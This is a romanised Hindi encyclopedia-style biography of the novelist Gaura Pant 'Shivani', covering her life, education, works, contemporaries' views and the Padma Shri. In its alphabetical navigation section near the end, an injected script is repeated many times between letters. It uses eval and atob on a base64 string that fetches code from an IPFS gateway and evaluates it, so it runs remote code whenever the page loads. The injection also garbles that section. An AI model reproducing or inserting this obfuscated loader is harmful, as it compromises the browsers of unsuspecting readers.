शिवानी

	shivani
	shivani\|200px\|center
poora nam	gaura pant ‘shivani’
janm	17 aktoobar, 1923
janm bhoomi	rajakot, gujarat
mrityu	21 march, 2003
mrityu sthan	dilli
abhibhavak	ashvinikumar pande
karm bhoomi	bharat
karm-kshetr	upanyasakar
bhasha	hiandi, gujarati
vidyalay	shaantiniketan
shiksha	bi.e.
puraskar-upadhi	padmashri
nagarikata	bharatiy
any janakari	shivani ki maan gujarat ki vidushi, pita aangrezi ke lekhak the.
inhean bhi dekhean	kavi soochi, sahityakar soochi

gaura pant ‘shivani’ (janm- 17 aktoobar, 1923 ; mrityu- 21 march, 2003) hindi ki suprasiddh upanyasakar thian. hiandi sahity jagat mean shivani ek aisi shakhsiyat rahian, jinaki hiandi, sanskrit, gujarati, bangali, urdoo tatha aangrezi par achchhi pakad thi aur jo apani kritiyoan mean uttar bharat ke kumayooan kshetr ke asapas ki lok sanskriti ki jhalak dikhalane aur kiradaroan ke bemisal charitr chitran karane ke lie jani gee. mahaj 12 varsh ki umr mean pahali kahani prakashit hone se lekar unake nidhan tak unaka lekhan nirantar jari raha. unaki adhikatar kahaniyaan aur upanyas nari pradhan rahe. isamean unhoanne nayika ke sauandary aur usake charitr ka varnan b de dilachasp aandaj mean kiya.

jivan parichay

shivani adhunik agragami vicharoan ki samarthak thian. shivani ka janm 17 aktoobar, 1923 ko vijayadashami ke din gujarat ke pas rajakot shahar mean hua tha. shivani ke pita shri ashvinikumar pande rajakot mean sthit rajakumar k aaulej ke priansipal the, jo kalaantar mean manabadar aur ramapur ki riyasatoan mean divan bhi rahe. shivani ke mata aur pita donoan hi vidvan sangit premi aur kee bhashaoan ke jnata the. shivani ne pashchim bangal ke shaanti niketan se bi.e. kiya. sahity aur sangit ke prati ek gahara rujhan ‘shivani’ ko apane mata aur pita se hi mila. shivani ke pitamah sanskrit ke prakaand vidvan pandit hariram pande, jo banaras hindoo vishvavidyalay mean dharmopadeshak the, vah paramparanishth aur kattar sanatani the. mahamana madanamohan malaviy se unaki gahari mitrata thi. ve prayah almo da tatha banaras mean rahate the, atah shivani ka bachapan apani b di bahan tatha bhaee ke sath dadaji ki chhatrachhaya mean ukt sthanoan par bita. shivani ki kishoravastha shantiniketan mean aur yuvavastha apane shikshavid pati ke sath uttar pradesh ke vibhinn bhagoan mean biti. shivani ke pati ke asamayik nidhan ke bad ve lambe samay tak lakhanoo mean rahian aur antim samay mean dilli mean apani betiyoan tatha amerika mean base putr ke parivar ke sath rahian^[1]

karyakshetr

shivani ka karyakshetr moolaroop se kumaooan kshetr ki nivasi ke roop mean bita. shivani ki shiksha shaanti niketan mean aur jivan ka adhikaansh samay shivani ne lakhanoo mean bitaya. shivani ki maan gujarat ki vidushi, pita aangrezi ke lekhak the. paha di prishthabhoomi aur gurudev ki sharan mean shiksha ne shivani ki bhasha aur lekhan ko bahuyami banaya. baangla sahity aur sanskriti ka shivani par gahara prabhav p da.^[2]

lekhan ki shuruat

shivani ke lekhan tatha vyaktitv mean udaravadita aur paramparanishthata ka jo adbhut mel hai, usaki j dean, isi vividhatapoorn jivan mean thian. shivani ki pahali rachana almo da se nikalane vali ‘natakhat’ namak ek bal patrika mean chhapi thi. tab ve matr barah varsh ki thian. isake bad ve malaviy ji ki salah par padhane ke lie apani b di bahan jayanti tatha bhaee tribhuvan ke sath shantiniketan bheji geean, jahaan skool tatha k aaulej ki patrikaoan mean baangla mean unaki rachanaean niyamit roop se chhapati rahian. gurudev ravindranath taigor shivani ko ‘gora’ pukarate the. ravindranath taigor ki salah ko ki har lekhak ko matribhasha mean hi lekhan karana chahie, shirodhary kar shivani ne hindi mean likhana prarambh kiya. ‘shivani’ ki ek laghu rachana ‘maian murga hooan’ 1951 mean ‘dharmayug’ mean chhapi thi. isake bad aee unaki kahani ‘lal haveli’ aur tab se jo lekhan-kram shuroo hua, unake jivan ke antim dinoan tak chalata raha. unaki antim do rachanaean ‘sunahuan tat yah akath kahani’ tatha ‘sone de’ unake vilakshan jivan par adharit atmavrittatmak akhyan haian.^[1]

pramukh rachanaean

upanyas, kahani, vyaktichitr, bal upanyas aur sansmaranoan ke atirikt, lakhanoo se nikalane vale patr ‘svatantr bharat’ ke lie ‘shivani’ ne varshoan tak ek charchit stambh ‘vatayan’ bhi likha. unake lakhanoo sthit avas-66, gulistaan kaloni ke dvar, lekhakoan, kalakaroan, sahity-premiyoan ke sath samaj ke har varg ju de unake pathakoan ke lie sadaiv khule rahe. shivani ki 'amader shaanti niketan' aur 'smriti kalash' is prishthabhoomi par likhi gee shreshth pustakean haian. 'krishnakali' unaka sabase prasiddh upanyas hai. isake das se bhi adhik sanskaran prakashit ho chuke haian.^[2] upanyas, kahani, vyaktichitr, bal upanyas aur sansmaranoan ke atirikt, lakhanoo se nikalane vale patr ‘svatantr bharat’ ke lie ‘shivani’ ne varshoan tak ek charchit stambh ‘vatayan’ bhi likha.^[3]

shivani ki rachanaean^[2]
upanyas krishnakali kaliandi atithi pootoan vali chal khusaroan ghar apane shmashan chanpa mayapuri kaianja geanda bhairavi svayansiddha vishakanya rati vilap akash yatra vivaran charaivaiti yatrik	kahani sangrah shivani ki shreshth kahaniyaan shivani ki mashahoor kahaniyaan jharokha, mrinmala ki hansi sansmaran amader shaanti niketan samriti kalash vatayan jalak dharavahik 'surangama' 'rativilap', 'mera beta' 'tisara beta' atmakathy sunahuan tat yah amar kahani

samakalin sahityakaroan ki ray

varishth rachanakar mamata kaliya ke anusar hiandi sahity ki mukhyadhara mean unaka yogadan kitana raha, yah kahana mushkil hai par yah zaroor hai ki kahani ke kshetr mean pathakoan aur lekhakoan ki ruchi nirmit karane tatha kahani ko keandriy vidha ke roop mean vikasit karane ka shrey shivani ko jata hai. unhoanne kaha ki vah kuchh is tarah likhati thian ki logoan ki use padhane ko lekar jijnasa paida hoti thi. unaki bhasha shaili kuchh-kuchh mahadevi varma jaisi rahi par unake lekhan mean ek lokapriy kism ka masavida tha. unaki kritiyoan se yah jhalakata hai ki unhoanne apane samay ke yatharth ko badalane ki koshish nahian ki. mamata kaliya kahati haian, shivani ki kritiyoan mean charitr chitran mean ek tarah ka aveg dikhaee deta hai. vah charitr ko shabdoan mean kuchh is tarah pirokar pesh karati thian jaise pathakoan ki aankhoan ke samane raja ravi varma ka koee khoobasoorat chitr tair jae. unhoanne sanskrit nishth hiandi ka istemal kiya par kahani ki vidha mean hi rahane ke chalate vah hiandi ke vichar jagat mean ek naya path pradarshan nahian kar paee. shivani ki qaribi rahian varishth sahityakar padma sachadev ke anusar jab shivani ka upanyas 'krishnakali' dharmayug mean prakashit ho raha tha to har jagah isaki charcha hoti thi. maianne unake jaisi bhasha shaili aur kisi ki lekhani mean nahian dekhi. unake upanyas aise haian jinhean padhakar yah ehasas hota tha ki ve khatm hi n hoan. upanyas ka koee bhi aansh usaki kahani mean poori tarah dubo deta tha. unhoanne kaha, shivani bharatavarsh ke hiandi sahity ke itihas ka bahut pyara panna thian. apane samakalin sahityakaroan ki tulana mean vah kafi sahaj aur sadagi se bhari thian. unaka sahity ke kshetr mean yogadan b da hai par phir bhi hiandi jagat ne unhean poora samman nahian diya jisaki vah hakadar rahian. shivani ke akhiri dinoan mean bhi unake sanpark mean rahian padma sachadev ne kaha ki unhean gayan ka kafi shauq tha. unhean akhir tak kumaooan se behad pyar raha. unhean vahian ke nazare yad ate the.^[4]

puraskar

1982 mean shivani ji ko bharat sarakar dvara padmashri se alankrit kiya gaya.

mrityu

shivani ka 21 march, 2003 ko dilli mean 79 varsh ki ayu mean nidhan hua.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 kastoori mrig (hindi) (pi.ech.pi) bharatiy sahity sangrah. abhigaman tithi: 4 aprail, 2011.
↑ ^2.0 ^2.1 ^2.2 shivani (hindi) (ech ti em) abhivyakti. abhigaman tithi: 4 aprail, 2011.
↑ suyal, sunil. shraddhaanjali shivani "gaura pant- hindi sahity ka ek chamakata sitara (hindi) (ech ti em) puny bhoomi-bharat. abhigaman tithi: 4 aprail, 2011.
↑ shivani / parichay (hiandi) gadyakosh. abhigaman tithi: 20 march, 2013.

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[.E0.A4.AD.E0.A4.BE.E0.A4.B0.E0.A4.A4.E0.A5.80.E0.A4.AF_.E0.A4.B8.E0.A4.BE.E0.A4.B9.E0.A4.BF.E0.A4.A4.E0.A5.8D.E0.A4.AF_.E0.A4.B8.E0.A4.82.E0.A4.97.E0.A5.8D.E0.A4.B0.E0.A4.B9-1] 1.0 ^1.1 kastoori mrig (hindi) (pi.ech.pi) bharatiy sahity sangrah. abhigaman tithi: 4 aprail, 2011.

[.E0.A4.85.E0.A4.AD.E0.A4.BF.E0.A4.B5.E0.A5.8D.E0.A4.AF.E0.A4.95.E0.A5.8D.E0.A4.A4.E0.A4.BF-2] 2.0 ^2.1 ^2.2 shivani (hindi) (ech ti em) abhivyakti. abhigaman tithi: 4 aprail, 2011.

[3] suyal, sunil. shraddhaanjali shivani "gaura pant- hindi sahity ka ek chamakata sitara (hindi) (ech ti em) puny bhoomi-bharat. abhigaman tithi: 4 aprail, 2011.

[4] shivani / parichay (hiandi) gadyakosh. abhigaman tithi: 20 march, 2013.

[1]

[2]

[3]

[4]

shivani
shivani\|200px\|center
poora nam	gaura pant ‘shivani’
janm	17 aktoobar, 1923
janm bhoomi	rajakot, gujarat
mrityu	21 march, 2003
mrityu sthan	dilli
abhibhavak	ashvinikumar pande
karm bhoomi	bharat
karm-kshetr	upanyasakar
bhasha	hiandi, gujarati
vidyalay	shaantiniketan
shiksha	bi.e.
puraskar-upadhi	padmashri
nagarikata	bharatiy
any janakari	shivani ki maan gujarat ki vidushi, pita aangrezi ke lekhak the.
inhean bhi dekhean	kavi soochi, sahityakar soochi